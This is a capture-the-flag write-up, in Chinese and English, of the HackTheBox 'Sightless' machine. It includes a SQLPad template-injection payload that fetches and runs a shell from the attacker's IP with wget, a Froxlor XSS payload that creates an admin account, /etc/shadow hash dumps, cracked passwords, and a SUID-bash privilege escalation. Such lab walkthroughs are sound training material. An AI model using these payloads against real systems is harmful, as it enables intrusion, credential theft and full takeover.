HackTheBox - Machine - Sightless

Recommand: Let’s Sign Up HTB Academy to get Higher level of knowledge :P

非常推薦: 想要變强嗎? 快來加入 HTB Academy 獲得更高級的知識吧 :P

Sightless

image

https://www.hackthebox.com/achievement/machine/463126/624

Recon

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PORT   STATE SERVICE REASON         VERSION
21/tcp open ftp syn-ack ttl 63
| fingerprint-strings:
| GenericLines:
| 220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.129.12.58]
| Invalid command: try being more creative
|_ Invalid command: try being more creative
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 c9:6e:3b:8f:c6:03:29:05:e5:a0:ca:00:90:c9:5c:52 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGoivagBalUNqQKPAE2WFpkFMj+vKwO9D3RiUUxsnkBNKXp5ql1R+kvjG89Iknc24EDKuRWDzEivKXYrZJE9fxg=
| 256 9b:de:3a:27:77:3b:1b:e1:19:5f:16:11:be:70:e0:56 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA4BBc5R8qY5gFPDOqODeLBteW5rxF+qR5j36q9mO+bu
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://sightless.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)

有一個ftp,試過匿名登錄,什麽也沒有,那肯定是從80端口入手了。

Web

打開ip地址之後會自動跳轉到域名 http://sightless.htb/​ ,然後發現有個子域名:sqlpad.sightless.htb

image

Finding sqlpad vulnerability

快速的觀察了一下,看到是個 sqlpad​:

image

然後看了一下版本:

image

是個 SQLPad​ 和 Version: 6.10.0​,所以搜索一下:

image

看到是 CVE-2022-0944​,然後谷歌搜索一下這個CVE:

image

然後看到這個:https://www.tenable.com/cve/CVE-2022-0944

image

Exploit sqlpad to got shell as container

上面有一條連接,通往poc的詳細鏈接:https://huntr.com/bounties/46630727-d923-4444-a421-537ecd63e7fb

image

剛好這個版本滿足與當前的那個網頁版:

image

然後試一下poc的内容,看起來有任意命令執行,所以使用curl探測下:

1
{{ process.mainModule.require('child_process').exec('curl 10.10.16.39:2222/mane') }}

使用 python3 -m http.server 2222​ , 看看poc能不能工作,很可惜,沒有回連。

所以我就猜測對面的機器上沒有curl,所以試一下使用wget看看:

1
{{ process.mainModule.require('child_process').exec('wget 10.10.16.39:2222/pwd') }}

image

結果有回連,所以在這裏可以上傳一個shell:

image

類似這樣:

1
{{ process.mainModule.require('child_process').exec('wget 10.10.16.39:2222/mane -O /tmp/mane ; chmod 777 /tmp/mane ; /tmp/mane ') }}

Shell as Container

果然機器上沒有curl,還好有wget,不然就很麻煩:

image

然後找一下數據庫:

image

當前目錄下就有一個數據庫,所以下載下來看看:

image

有一個hash:

1
2
admin@sightless.htb admin       $2a$10$cjbITibC.4BQQKJ8NOBUv.p0bG2n8t.RIIKRysR6pZnxquAWsLFcC
john@sightless.htb editor

但是很可惜hash無法破解。

Finding Shadow file

既然hash沒有辦法破解,那麽可以放密碼的地方很少,剛好系統裏面就有一個,那就是 /etc/shadow​:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
root@c184118df0a6:/etc# cat shadow
root:$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.:19858:0:99999:7:::
daemon:*:19051:0:99999:7:::
bin:*:19051:0:99999:7:::
sys:*:19051:0:99999:7:::
sync:*:19051:0:99999:7:::
games:*:19051:0:99999:7:::
man:*:19051:0:99999:7:::
lp:*:19051:0:99999:7:::
mail:*:19051:0:99999:7:::
news:*:19051:0:99999:7:::
uucp:*:19051:0:99999:7:::
proxy:*:19051:0:99999:7:::
www-data:*:19051:0:99999:7:::
backup:*:19051:0:99999:7:::
list:*:19051:0:99999:7:::
irc:*:19051:0:99999:7:::
gnats:*:19051:0:99999:7:::
nobody:*:19051:0:99999:7:::
_apt:*:19051:0:99999:7:::
node:!:19053:0:99999:7:::
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:19860:0:99999:7:::

然後把所有的密碼抓下來破解:

image

好在 michael​ 成功的破解了:

1
michael:insaneclownposse

Shell as Host - Recon

既讓有了密碼就嘗試連接一下ssh看看:

image

結果成功拿到了一個shell,接下來就是找一下有沒有什麽有價值的東西了,

跑一下 Linpeas,看看有沒有什麽寶藏:

image

有個chrome的debug port,看起來是有些自動化的瀏覽器在運行,所以xss的可能性很大。

看了一下堅挺的端口,有一些很神奇的端口,比如8080

image

所以使用ssh隧道轉發一下看看:

1
$ ssh -L 127.0.0.1:8000:127.0.0.1:8080 michael@10.129.12.149

注意這裏我改成了 8000​,意思是對面機器的 8080​ 轉發到我本地機器的 8000​端口,因爲和burp衝突了,我懶得改burp的配置,所以這樣可以方便抓包。

image

是個 froxlor。

Unintended Root

從上面的端口中可以看到,有一個chrome debug port,remote-debug-port​ 是0的情況下,意味著這是隨機分配一個debug port,所以在對面的機器上可以使用 curl 一個一個探測,可以參考:

網址後面加上 /json​ 就知道是不是 chrome 的debug port,通過使用 ss -tlunp​ 返回的端口一個一個試探,結果:

image

也就是在我的機器上的 42703​端口就是debug port。

Exploit Chrome Debug Port

既然知道了這個端口是debug port,那可以順便使用ssh轉發一下到本地,然後交互需要使用谷歌瀏覽器,所以要安裝谷歌瀏覽器:

1
2
3
$ wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
$ sudo dpkg -i google-chrome-stable_current_amd64.deb
$ google-chrome

安裝好了之後打開:

image

輸入: chrome://inspect/#devices​ 會得到下面的頁面,

image

點擊 Open dedicated DevTools for Node​ 就可以允許增加一個新的連接:

image

輸入好端口之後點擊 Add​ 的一瞬間,就會多出下面兩個選項:

image

然後點擊第一個 Inspect,看到:

image

因爲有 chromedriver​ 的原因,所以可以知道這個瀏覽器是被機器人控制,等待幾秒鐘可以看到機器人在自動輸入賬號密碼,并且登錄,我們可以觀察機器人提交了什麽密碼,(這裏可以點擊 Preserve log​ 告訴瀏覽器日志不要自動的清空),等到一會之後,等機器人使用賬號密碼登陸了就得到了賬號密碼:

image

1
2
3
loginname: admin
password: ForlorfroxAdmin
dologin:

Login Froxlor to change PHP restart command

然後可以嘗試使用這個賬號密碼去登錄:

image

結果成功的進去了後臺,觀察力一下,發現:

image

修改php版本的地方居然可以修改啓動命令:

image

那就就改成 chmod 4777 /bin/bash​:

image

由於這個框架是運行的普通用戶,普通用戶沒辦法更改這些敏感屬性的權限,這時候就需要用到root用戶,但問題是這個框架是如何修改敏感屬性的呢?

其實在後端有一個用root權限執行的php脚本,是使用cronjob完成的,他是用來協調這個框架的(你可以想象成每隔一段時間就問這個框架需不需要修改敏感屬性),如果需要的話就會幫忙更改(因爲這裏運行的root用戶),所以這時候就需要等待root的cronjob運行,等待使用root的php脚本幫忙應用配置文件。

image

一般5分鐘,保險期間可以等個10分鐘,然後:

image

Intended Root

感覺這裏的預期路綫出的不是很好,因爲是個正常人看到可以 修改命令任意執行 就不會去繞一圈回到user。

Exploit XSS with froxior

從一開始探測的時候可以得到,有個john的用戶在使用自動化來交互瀏覽器,所以猜測有xss,然後就去谷歌搜一下:

image

結果看到了這篇:https://github.com/froxlor/Froxlor/security/advisories/GHSA-x525-54hf-xr53

image

然後根據這篇文章試一下xss是不是存在,看起來他的 payload.txt​ 長這樣:

image

另外,poc這裏的密碼是 Abcd@@1234​,而 github 上的 poc密碼寫錯了,如上上圖所示,不是 abcd@@1234​。

poc上面有域名,不過可以去掉域名,因爲都在同一個頁面上運行的,

所以 http://xxxx.sightless.htb:8080/admin_admins.php​ 可以換成 /admin_admins.php​,這樣就不需要考慮域名的問題,

最後修改POC如下:

1
admin{{$emit.constructor`function+b(){var+metaTag%3ddocument.querySelector('meta[name%3d"csrf-token"]')%3bvar+csrfToken%3dmetaTag.getAttribute('content')%3bvar+xhr%3dnew+XMLHttpRequest()%3bvar+url%3d"/admin_admins.php"%3bvar+params%3d"new_loginname%3dabcd%26admin_password%3dAbcd%40%401234%26admin_password_suggestion%3dmgphdKecOu%26def_language%3den%26api_allowed%3d0%26api_allowed%3d1%26name%3dAbcd%26email%3dyldrmtest%40gmail.com%26custom_notes%3d%26custom_notes_show%3d0%26ipaddress%3d-1%26change_serversettings%3d0%26change_serversettings%3d1%26customers%3d0%26customers_ul%3d1%26customers_see_all%3d0%26customers_see_all%3d1%26domains%3d0%26domains_ul%3d1%26caneditphpsettings%3d0%26caneditphpsettings%3d1%26diskspace%3d0%26diskspace_ul%3d1%26traffic%3d0%26traffic_ul%3d1%26subdomains%3d0%26subdomains_ul%3d1%26emails%3d0%26emails_ul%3d1%26email_accounts%3d0%26email_accounts_ul%3d1%26email_forwarders%3d0%26email_forwarders_ul%3d1%26ftps%3d0%26ftps_ul%3d1%26mysqls%3d0%26mysqls_ul%3d1%26csrf_token%3d"%2bcsrfToken%2b"%26page%3dadmins%26action%3dadd%26send%3dsend"%3bxhr.open("POST",url,true)%3bxhr.setRequestHeader("Content-type","application/x-www-form-urlencoded")%3balert("Your+Froxlor+Application+has+been+completely+Hacked")%3bxhr.send(params)}%3ba%3db()`()}}

然後根據github上的poc:

image

發送后等待一段時間,使用: abcd:Abcd@@1234​ 即可登錄後臺:

image

Change FTP password

看到是個管理員的權限,裏面有一個網站是 web1

image

點擊進去之後可以修改ftp的密碼:

image

嘗試改掉這個ftp的密碼:

image

那就使用默認的密碼吧:

1
web1 : fxwvupWgAe

Find a way to login FTP

修改成功了之後沒有辦法登陸成功:

image

看起來是證書出了問題,網上找了一下之後決定問一下chatgpt:

image

image

他告訴我下載一個 lftp​ 的軟件,然後:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ lftp -u web1,fxwvupWgAe ftp://sightless.htb
lftp web1@sightless.htb:~> set ssl:verify-certificate no
lftp web1@sightless.htb:~> ls
drwxr-xr-x 3 web1 web1 4096 May 17 03:17 goaccess
-rw-r--r-- 1 web1 web1 8376 Mar 29 10:29 index.html
lftp web1@sightless.htb:/> cd goaccess
lftp web1@sightless.htb:/goaccess> ls
drwxr-xr-x 2 web1 web1 4096 Aug 2 07:14 backup
lftp web1@sightless.htb:/goaccess> cd backup
lftp web1@sightless.htb:/goaccess/backup> ls
-rw-r--r-- 1 web1 web1 5292 Aug 6 14:29 Database.kdb
lftp web1@sightless.htb:/goaccess/backup> get Database.kdb
5292 bytes transferred

結果還真的登錄了進去,發現裏面有一個 Database.kdb​ 。

Database.kdb to root key

下載下來之後,是個 keepass​ 的數據庫,因爲沒有master password,所以嘗試使用 john 破解下:

1
2
$ keepass2john  Database.kdb > hashes.txt
$ john --wordlist=/Tools/Wordlists/rockyou.txt hashes.txt

得到了一個密碼: bulldogs

image

嘗試解密,發現數據庫太老了,需要新建一個新版本的數據庫之後導入:

image

所以新建一個數據庫:

image

新建完成之後點擊導入:

image

然後這裏可以選擇老一個版本的數據庫:

image

導入之後,然後得到id_rsa:

image

但是直接使用這個 id_rsa​ 之後會出現錯誤:

1
2
3
$ ssh  -i  id_rsa root@10.129.12.149
Load key "id_rsa": error in libcrypto
root@10.129.12.149's password:

對比了一下,是個windows格式,因爲linux不支持,

image

在 16 進制(hexadecimal)中,\n​ 和 \r​ 是用來表示控制字符的。

  • \n​ 是「換行」(newline)的控制字符,在 ASCII 表中對應的是 10 進制的 10,16 進制的 0A
  • \r​ 是「回車」(carriage return)的控制字符,在 ASCII 表中對應的是 10 進制的 13,16 進制的 0D

這兩個字符經常一起使用,特別是在一些舊系統或協議中,比如 Windows 中的換行是由 \r\n​ 組合來表示。

如果想要把windows的 0d0a​ 轉換成 0a​ ,可以使用 dos2unix​ 這個工具:

1
2
$ dos2unix id_rsa
dos2unix: converting file id_rsa to Unix format...

轉換後還是無法登錄,需要加一行回車才可以:

1
$ echo  '\n' >> id_rsa

image

這樣就得到了root。

Hashes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
bash-5.1# cat /etc/shadow
root:$y$j9T$PScOTu/SFg7oaa/bfW4pL0$7oWEYAy0P18E3uDpsZUyoy78cubBKODqotqtAp4GtK0:19860:0:99999:7:::
daemon:*:19405:0:99999:7:::
bin:*:19405:0:99999:7:::
sys:*:19405:0:99999:7:::
sync:*:19405:0:99999:7:::
games:*:19405:0:99999:7:::
man:*:19405:0:99999:7:::
lp:*:19405:0:99999:7:::
mail:*:19405:0:99999:7:::
news:*:19405:0:99999:7:::
uucp:*:19405:0:99999:7:::
proxy:*:19405:0:99999:7:::
www-data:*:19405:0:99999:7:::
backup:*:19405:0:99999:7:::
list:*:19405:0:99999:7:::
irc:*:19405:0:99999:7:::
gnats:*:19405:0:99999:7:::
nobody:*:19405:0:99999:7:::
_apt:*:19405:0:99999:7:::
systemd-network:*:19405:0:99999:7:::
systemd-resolve:*:19405:0:99999:7:::
messagebus:*:19405:0:99999:7:::
systemd-timesync:*:19405:0:99999:7:::
pollinate:*:19405:0:99999:7:::
sshd:*:19405:0:99999:7:::
syslog:*:19405:0:99999:7:::
uuidd:*:19405:0:99999:7:::
tcpdump:*:19405:0:99999:7:::
tss:*:19405:0:99999:7:::
landscape:*:19405:0:99999:7:::
fwupd-refresh:*:19405:0:99999:7:::
usbmux:*:19858:0:99999:7:::
michael:$y$j9T$VdjDEROmqIwhwxW5Mqie//$yo5dlS5BvDOm5r4snRGg6JQp2lK2Vip3mC5.A.e94S3:19860:0:99999:7:::
lxd:!:19858::::::
dnsmasq:*:19858:0:99999:7:::
mysql:!:19858:0:99999:7:::
proftpd:!:19858:0:99999:7:::
ftp:*:19858:0:99999:7:::
john:$y$j9T$0LxNq2qUgY68Htn6MURro/$X0njIWFZLfEQ.vKrDiPz5.GO3eJ7vHY1YSvmCc.5KvC:19858:0:99999:7:::
_laurel:!:19944::::::

Thanks

Respect: If my writeup really helps you, Give me a respect to let me know, Thankssssss!

感謝: 製作不易,如果我的writeup真的幫到你了, 給我一個respect,這樣我就會知道,感謝你!

Found Mistakes: If you find something wrong in the page, please feel free email to mane@manesec.com thanksss !!!

發現一些錯誤: 如果你在文章中發現一些錯誤,請發郵件到 mane@manesec.com ,麻煩了!!

Beginner Recommand: If you are a beginner, please use this link to sign up for an HTB Academy to get more Higher level of knowledge.

新手非常推薦: 如果你是初學者,可以用此鏈接來嘗試注冊 HTB Academy 賬號。

使用上面的鏈接加入 HTB 的 academy 就可以免費看 Tire 0 的所有教程,這對初學者來説是很友好的。 (建議先完成 INTRODUCTION TO ACADEMY)

Join HTB’s academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)